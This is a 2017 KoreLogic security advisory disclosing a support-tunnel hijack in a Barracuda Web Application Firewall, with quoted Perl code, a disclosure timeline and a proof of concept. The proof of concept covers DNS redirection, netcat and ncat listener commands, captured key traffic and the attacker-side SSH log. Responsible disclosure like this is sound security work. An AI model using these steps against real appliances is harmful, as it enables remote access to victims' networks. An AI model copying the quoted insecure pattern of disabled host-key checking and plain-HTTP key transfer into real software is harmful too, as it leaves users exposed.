KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack
Title: Barracuda WAF Support Tunnel Hijack
Advisory ID: KL-001-2017-014
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-014.txt
1. Vulnerability Details
Affected Vendor: Barracuda
Affected Product: Web Application Firewall V360
Affected Version: Firmware v8.0.1.014
Platform: Embedded Linux
CWE Classification: CWE-304: Missing Critical Step In Authentication
Impact: Remote Access
Attack vector: DNS, SSH
2. Vulnerability Description
During the creation of a tunnel connection to barracuda
support, the code creating the tunnels fails to:
1) Validate DNS Records,
2) Validate SSH Host Key, and
3) Transmit Public SSH Key over an encrypted, verified channel.
3. Technical Description
file: /usr/local/bin/support-tunnel
The first host added to the available remote hosts is done through using
DNS resolution on support01.barracudanetworks.com. If an attacker can control DNS,
it is possible to subvert network traffic by creating records that will resolve to
an attacker's IP address.
[snip]
sub remote_hosts() {
my $central = 'support01.barracudanetworks.com';
my @hosts;
my $host = resolv_host($central) || $central;
push @hosts, {
'ssh' => { 'host' => $host, 'port' => 22 },
'web' => { 'host' => $host, 'port' => 80 },
};
push @hosts, {
'ssh' => { 'host' => '64.235.147.77', 'port' => 22 },
'web' => { 'host' => '64.235.147.77', 'port' => 80 },
};
push @hosts, {
'ssh' => { 'host' => '64.235.154.112', 'port' => 22 },
'web' => { 'host' => '64.235.154.112', 'port' => 80 },
};
return @hosts;
} # remote_hosts
[snip]
The appliance will send a URL-encoded copy of the public key using HTTP.
sub tunnel_post_key($$$$) {
my $host = shift;
my $port = shift;
my $serial = shift;
my $pubkey = shift;
[snip]
$url = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial,
Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION));
#
# Write an HTTP request.
#
$req = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n";
do {
$retval = aio_write($sock, $req);
} while ($retval == AIO_WOULDBLOCK && $stop > time);
if ($retval != AIO_SUCCESS) {
throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!");
aio_close($sock);
return undef;
}
[snip]
return 1;
} # tunnel_post_key
It should be noted that the appliance is shipped with a default key
(pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2ffa2d1434176e93)
but will generate and submit a new key should the default key no longer exist.
This happens in the ssh_key_path function.
Finally, the appliance specifically sets StrictHostKeyChecking to no.
This instructs the ssh client to ignore any SSH host-key mismatch and allows
an attacker to more easily leverage their own SSH server for attacks.
sub ssh_command_args($\$$$$;$$) {
my $sshcmd = shift;
my $serialref = shift;
my $sshkey = shift;
my $sshhost = shift || 'support01.barracudanetworks.com';
my $sshport = shift || 22;
my $lsshport = shift || local_ssh_port || 22;
my $lwebport = shift || local_web_port || 8000;
my $lsslvpnport = shift;
if( get_product() eq "bvs" ) {
$lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport;
}
my @version = ssh_version_of($sshcmd);
my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost);
$has_unixfwd = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
$has_exitonfwdfailure = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
$has_defineremotehost = ($version[0] >= 4);
push @args, '-T'; # Don't allocate a TTY
push @args, '-' . ('v' x want_verbose) # Passthru verbosity
if want_verbose;
push @args, '-o', 'StrictHostKeyChecking=no'; # Ignore Support01 host key (bad idea?)
push @args, '-i', $sshkey;
push @args, '-o', 'ExitOnForwardFailure=yes' # Abort if forwarding fails. (By default if remote
forwarding fails SSH continues the session.)
if $has_exitonfwdfailure;
if ($has_unixfwd) {
push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:127.0.0.1:$lsshport";
push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:127.0.0.1:$lwebport";
push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:127.0.0.1:$lsslvpnport" if
get_product() eq "bvs";
[snip]
To demonstrate, we created DNS entries to force support01.barracudanetworks.com to resolve to 1.3.3.7.
Next, we bound to port 80. Using either the web application or admin console, we initiated a support
tunnel connection.
# nc -l -p 80
GET
/tunnel-broker?serial=853466&cs=6a62a850a77a698f015c35dba7e79a28&key=ssh%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2bopttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rXgXkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqALTLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331muHcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6Y2RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=db06172872d43ce0370b4509f3d0b876&version=2008012801
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: support01.barracudanetworks.com
User-Agent: libwww-perl/5.805
After creating the appropriate user and adding the public key to the
authorized_keys file, the SSH connection was successful.
sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 ssh2: RSA
de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49
sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0)
systemd-logind[692]: New session 92 of user redir.
systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0)
The tunnels can be connected to using the newly created unix socket.
# ncat -U /var/tunnels/www/853466.sock
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Server: BarracudaHTTP 4.0
Date: Thu, 15 Dec 2016 15:27:22 GMT
Content-Type: text/html
Content-Length: 178
Connection: close
400 Bad Request
400 Bad Request
BarracudaHTTP 4.0
4. Mitigation and Remediation Recommendation
The vendor has patched this vulnerability in the latest
virtual appliance release.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.
6. Disclosure Timeline
2016.12.20 - KoreLogic sends vulnerability report and PoC to
Barracuda.
2016.12.21 - Barracuda acknowledges receipt of the vulnerability
report.
2017.01.09 - Barracuda informs KoreLogic that they are working
on remediation for this issue.
2017.01.26 - Barracuda asks for additional time beyond the
standard 45 business day embargo to address this
and other issues reported by KoreLogic.
2017.02.27 - 45 business days have elapsed since the issue was
reported.
2017.04.10 - 75 business days have elapsed since the issue was
reported.
2017.05.15 - 100 business days have elapsed since the issue was
reported.
2017.05.24 - Barracuda informs KoreLogic that the issue has been fixed.
2017.07.06 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description
The contents of this advisory are copyright(c) 2017
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